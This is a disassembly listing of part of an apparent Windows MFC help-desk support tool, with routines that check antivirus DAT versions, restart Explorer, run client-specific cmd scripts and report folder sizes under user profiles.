lea rcx, [rsp + 0xeb8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rdx, rax
lea rcx, [rsp + 0x5a8]
call fcn.1400fd2b0
nop
lea rdx, str.Not_Found
lea rcx, [rsp + 0x5a8]
call fcn.14000d8d0
test al, al
je 0x14009d51f
lea rdx, str._._Please_contact_help_desk._Click_on__NEXT_STEP_.
lea rcx, [rsp + 0x778]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, str.Not_able_to_find_version_of__
lea rcx, [rsp + 0x770]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8, [rsp + 0x80]
lea rdx, [rsp + 0x770]
lea rcx, [rsp + 0xec8]
call fcn.140006490
nop
lea r8, [rsp + 0x778]
mov rdx, rax
lea rcx, [rsp + 0xec0]
call fcn.140006490
nop
mov rdx, rax
lea rcx, [0x1401e96b0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0xec0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xec8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x770]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x778]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor sil, sil
jmp 0x14009d5f2
lea rdx, str.version_Change
lea rcx, [rsp + 0x5a8]
call fcn.14000d8d0
test al, al
je 0x14009d5ef
lea rdx, str.__version_is_not_compatable._Please_contact_help_desk._Click_on__NEXT_STEP_.
lea rcx, [rsp + 0x788]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, [0x140150830]
lea rcx, [rsp + 0x780]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8, [rsp + 0x80]
lea rdx, [rsp + 0x780]
lea rcx, [rsp + 0xed8]
call fcn.140006490
nop
lea r8, [rsp + 0x788]
mov rdx, rax
lea rcx, [rsp + 0xed0]
call fcn.140006490
nop
mov rdx, rax
lea rcx, [0x1401e96b0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0xed0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xed8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x780]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x788]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor sil, sil
jmp 0x14009d5f2
mov sil, 1
lea rcx, [rsp + 0x5a8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + reloc.mfc140u.dll_CAnimationBaseObject::CAnimationBaseObject]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x150]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x80]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
lea rdx, str.killExplorer
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x14009d814
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x2e8]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
xor r8d, r8d
lea rdx, [0x14015e858]
lea rcx, [rsp + 0x2e8]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0xee0]
lea rcx, [rsp + 0x2e8]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x2e8]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0xee0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0x5b0]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rdx, [0x140156970]
lea rcx, [rsp + 0x2e8]
call fcn.14000d8d0
test al, al
je 0x14009d741
lea rdx, str.taskkill__F__IM_explorer.exe__T
lea rcx, [rsp + 0xee8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0xef0]
call fcn.1400fc5a0
nop
mov rdx, rax
lea rcx, [rsp + 0x5b0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0xef0]
jmp 0x14009d784
lea rdx, str.start__windir_explorer.exe
lea rcx, [rsp + 0xef8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0xf00]
call fcn.1400fc5a0
nop
mov rdx, rax
lea rcx, [rsp + 0x5b0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0xf00]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x5b0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x2e8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov r14, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x60]
lea rdx, [r15 + 0x218]
lea rcx, [rsp + 0x728]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
lea rdx, [0x14014f8c8]
lea rcx, [rsp + 0x728]
call fcn.140042c70
test al, al
je 0x14009d807
lea rdx, [rsp + 0x728]
lea rcx, [rsp + 0x2308]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
xor r9d, r9d
mov r8, rax
xor edx, edx
mov rcx, rdi
call fcn.14005cb10
nop
lea rcx, [rsp + 0x728]
jmp 0x14009ccd4
lea rdx, str.IsmcAfeeVSE
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x14009da48
xor sil, sil
lea rdx, str.C:WindowsiAssistDATversion.txt
lea rcx, [rsp + 0x428]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, [rsp + 0x428]
lea rcx, [rsp + 0xf08]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rcx, rax
call fcn.1400fbb40
lea rdx, [rsp + 0x428]
test al, al
je 0x14009d9ef
lea rcx, [rsp + 0xf10]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rdx, rax
lea rcx, [rsp + 0x1a0]
call fcn.1400f45d0
nop
xor r8d, r8d
lea rdx, str.DAT_version
lea rcx, [rsp + 0x1a0]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x14009d945
lea rcx, [rsp + 0x1a0]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
cmp eax, 0xa
jl 0x14009d9df
xor r8d, r8d
lea rdx, [0x14016c678]
lea rcx, [rsp + 0x1a0]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x1a0]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x5b8]
lea rcx, [rsp + 0x1a0]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
lea rcx, [rsp + 0x5b8]
call qword [sym.imp.mfc140u.dll_CFileDialog::SetTemplate]
lea rcx, [rsp + 0x5b8]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
movzx ebx, word [rax]
lea rcx, [rsp + 0x5b8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
cmp bx, 0x39
sete sil
jmp 0x14009d9df
lea rax, [rsp + 0xf18]
mov qword [rsp + 0x58], rax
lea rdx, [0x140153b2c]
lea rcx, [rsp + 0xf18]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
mov rbx, rax
lea rdx, str.Unable_to_find_DAT_Version
lea rcx, [rsp + 0xf20]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
mov r8d, 0xffffffff
mov rdx, rbx
mov rcx, rax
call fcn.14010a9a0
lea rax, [rsp + 0xf28]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x1a0]
lea rcx, [rsp + 0xf28]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rbx, rax
lea rdx, str.founded_data:
lea rcx, [rsp + 0xf30]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
mov r8d, 0xffffffff
mov rdx, rbx
mov rcx, rax
call fcn.14010a9a0
nop
lea rcx, [rsp + 0x1a0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x14009da35
lea rax, [rsp + 0xf38]
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0xf38]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rbx, rax
lea rdx, str.File_Not_found
lea rcx, [rsp + 0xf40]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
mov r8d, 0xffffffff
mov rdx, rbx
mov rcx, rax
call fcn.14010a9a0
nop
lea rcx, [rsp + 0x428]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
xor r8d, r8d
lea rdx, [0x14016c6c0]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x14009dbf6
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x2f0]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
xor r8d, r8d
lea rdx, [0x14015e858]
lea rcx, [rsp + 0x2f0]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0xf48]
lea rcx, [rsp + 0x2f0]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x2f0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0xf48]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [0x140166320]
lea rcx, [rsp + 0x790]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rcx, [rsp + 0xf58]
call fcn.1400fe460
nop
lea r8, [rsp + 0x790]
mov rdx, rax
lea rcx, [rsp + 0xf50]
call fcn.140006490
nop
lea r8, [rsp + 0x2f0]
mov rdx, rax
lea rcx, [rsp + 0x798]
call fcn.140006490
nop
lea rcx, [rsp + 0xf50]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xf58]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x790]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea r8, [rsp + 0x798]
lea rdx, [0x14016c6d8]
lea rcx, [rsp + 0xf60]
call fcn.14009c1e0
mov rcx, rax
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov r9, rax
xor r14d, r14d
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
lea r8, str.cmd.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rsp + 0xf60]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, [rsp + 0x798]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x2f0]
jmp 0x14009d7a2
lea rdx, str.runscriptforclientspecific
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x14009ddb2
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x2f8]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
xor r8d, r8d
lea rdx, [0x14015e858]
lea rcx, [rsp + 0x2f8]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0xf68]
lea rcx, [rsp + 0x2f8]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x2f8]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0xf68]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [0x140154858]
lea rcx, [rsp + 0x7a8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
call sub.mfc140u.dll_AfxFieldText
mov rdx, qword [rax + 8]
add rdx, 0x3d0
lea rcx, [rsp + 0x7a0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
lea r8, [rsp + 0x7a8]
lea rdx, [rsp + 0x7a0]
lea rcx, [rsp + reloc.mfc140u.dll_CD2DRadialGradientBrush::Detach]
call fcn.140006490
nop
lea r8, [rsp + 0x2f8]
mov rdx, rax
lea rcx, [rsp + 0x7b0]
call fcn.140006490
nop
lea rcx, [rsp + reloc.mfc140u.dll_CD2DRadialGradientBrush::Detach]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x7a0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x7a8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea r8, [rsp + 0x7b0]
lea rdx, [0x14016c6d8]
lea rcx, [rsp + 0xf78]
call fcn.14009c1e0
mov rcx, rax
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov r9, rax
xor r14d, r14d
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
lea r8, str.cmd.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rsp + 0xf78]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, [rsp + 0x7b0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x2f8]
jmp 0x14009d7a2
lea rdx, str.ShowApplicationDialog
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x14009df12
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0xf80]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0xf80]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor r8d, r8d
lea rdx, [0x14015e858]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0xf88]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0xf88]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [0x14014f8c8]
lea rcx, [rsp + 0x50]
call fcn.140042c70
test al, al
je 0x14009deb3
lea rax, [rsp + 0xf90]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0xf90]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rbx, rax
call sub.mfc140u.dll_AfxFieldText
nop
mov rdx, rbx
mov rcx, qword [rax + 8]
call fcn.1400afa70
xor edx, edx
lea rcx, [rsp + 0x6a10]
call fcn.1400b7940
nop
lea rdx, [0x14016c744]
lea rcx, [rsp + 0x50]
call fcn.14000d8d0
movzx ecx, byte [rsp + 0x71c8]
mov edi, 1
test al, al
cmovne ecx, edi
mov byte [rsp + 0x71c8], cl
lea rcx, [rsp + 0x6a10]
call sub.mfc140u.dll_CD2DPathGeometry::Detach
test eax, eax
sete sil
lea rcx, [rsp + 0x6a10]
call fcn.1400b79e0
jmp 0x1400acb92
lea rdx, [0x14016c748]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x14009e559
lea rcx, [rsp + 0x158]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
xorps xmm6, xmm6
xor r8d, r8d
lea rdx, [0x14015eb18]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0xf98]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0xf98]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor r8d, r8d
lea rdx, [0x14015e858]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0xfa0]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0xfa0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0x430]
call fcn.1400ff890
nop
lea rdx, [0x14016c760]
lea rcx, [rsp + 0x50]
call fcn.14000d8d0
test al, al
je 0x14009e0b7
lea rdx, [0x140151d50]
lea rcx, [rsp + 0x7c0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, str.C:Users_
lea rcx, [rsp + 0x7b8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rcx, [rsp + 0x430]
call qword [sym.imp.mfc140u.dll_CFileDialog::SetTemplate]
mov r8, rax
lea rdx, [rsp + 0x7b8]
lea rcx, [rsp + 0xfa8]
call fcn.140006490
nop
lea r8, [rsp + 0x7c0]
mov rdx, rax
lea rcx, [rsp + 0x7c8]
call fcn.140006490
nop
lea rcx, [rsp + 0xfa8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x7b8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x7c0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0x7c8]
call fcn.1400fd420
movaps xmm6, xmm0
lea rcx, [rsp + 0x7c8]
jmp 0x14009e24e
lea rdx, [0x14016c768]
lea rcx, [rsp + 0x50]
call fcn.14000d8d0
test al, al
je 0x14009e185
lea rdx, [0x140151d40]
lea rcx, [rsp + 0x7d8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, str.C:Users_
lea rcx, [rsp + 0x7d0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rcx, [rsp + 0x430]
call qword [sym.imp.mfc140u.dll_CFileDialog::SetTemplate]
mov r8, rax
lea rdx, [rsp + 0x7d0]
lea rcx, [rsp + 0xfb0]
call fcn.140006490
nop
lea r8, [rsp + 0x7d8]
mov rdx, rax
lea rcx, [rsp + 0x7e0]
call fcn.140006490
nop
lea rcx, [rsp + 0xfb0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x7d0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x7d8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0x7e0]
call fcn.1400fd420
movaps xmm6, xmm0
lea rcx, [rsp + 0x7e0]
jmp 0x14009e24e
lea rdx, [0x14016c778]
lea rcx, [rsp + 0x50]
call fcn.14000d8d0
test al, al
je 0x14009e254
lea rdx, [0x140151d70]
lea rcx, [rsp + 0x7f0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, str.C:Users_
lea rcx, [rsp + 0x7e8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rcx, [rsp + 0x430]
call qword [sym.imp.mfc140u.dll_CFileDialog::SetTemplate]
mov r8, rax
lea rdx, [rsp + 0x7e8]
lea rcx, [rsp + 0xfb8]
call fcn.140006490
nop
lea r8, [rsp + 0x7f0]
mov rdx, rax
lea rcx, [rsp + 0x7f8]
call fcn.140006490
nop
lea rcx, [rsp + 0xfb8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x7e8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x7f0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0x7f8]
call fcn.1400fd420
movaps xmm6, xmm0
lea rcx, [rsp + 0x7f8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mulss xmm6, dword [0x140171b18]
cvttss2si r8d, xmm6
movss xmm0, dword [0x140171b28]
lea rcx, [rsp + 0x158]
comiss xmm0, xmm6
jbe 0x14009e3a7
lea rdx, [0x14015e840]
call qword [sym.imp.mfc140u.dll_CMFCZoomKernel::Filter]
lea rdx, str._MB._click_on_NEXT_STEP
lea rcx, [rsp + 0x810]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, str._is
lea rcx, [rsp + 0x808]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, [0x14016c7a8]
lea rcx, [rsp + 0x800]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x800]
lea rcx, [rsp + 0xfd8]
call fcn.140006490
nop
lea r8, [rsp + 0x808]
mov rdx, rax
lea rcx, [rsp + 0xfd0]
call fcn.140006490
nop
lea r8, [rsp + 0x158]
mov rdx, rax
lea rcx, [rsp + 0xfc8]
call fcn.140006490
nop
lea r8, [rsp + 0x810]
mov rdx, rax
lea rcx, [rsp + 0xfc0]
call fcn.140006490
nop
mov rdx, rax
lea rcx, [0x1401e96b0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0xfc0]
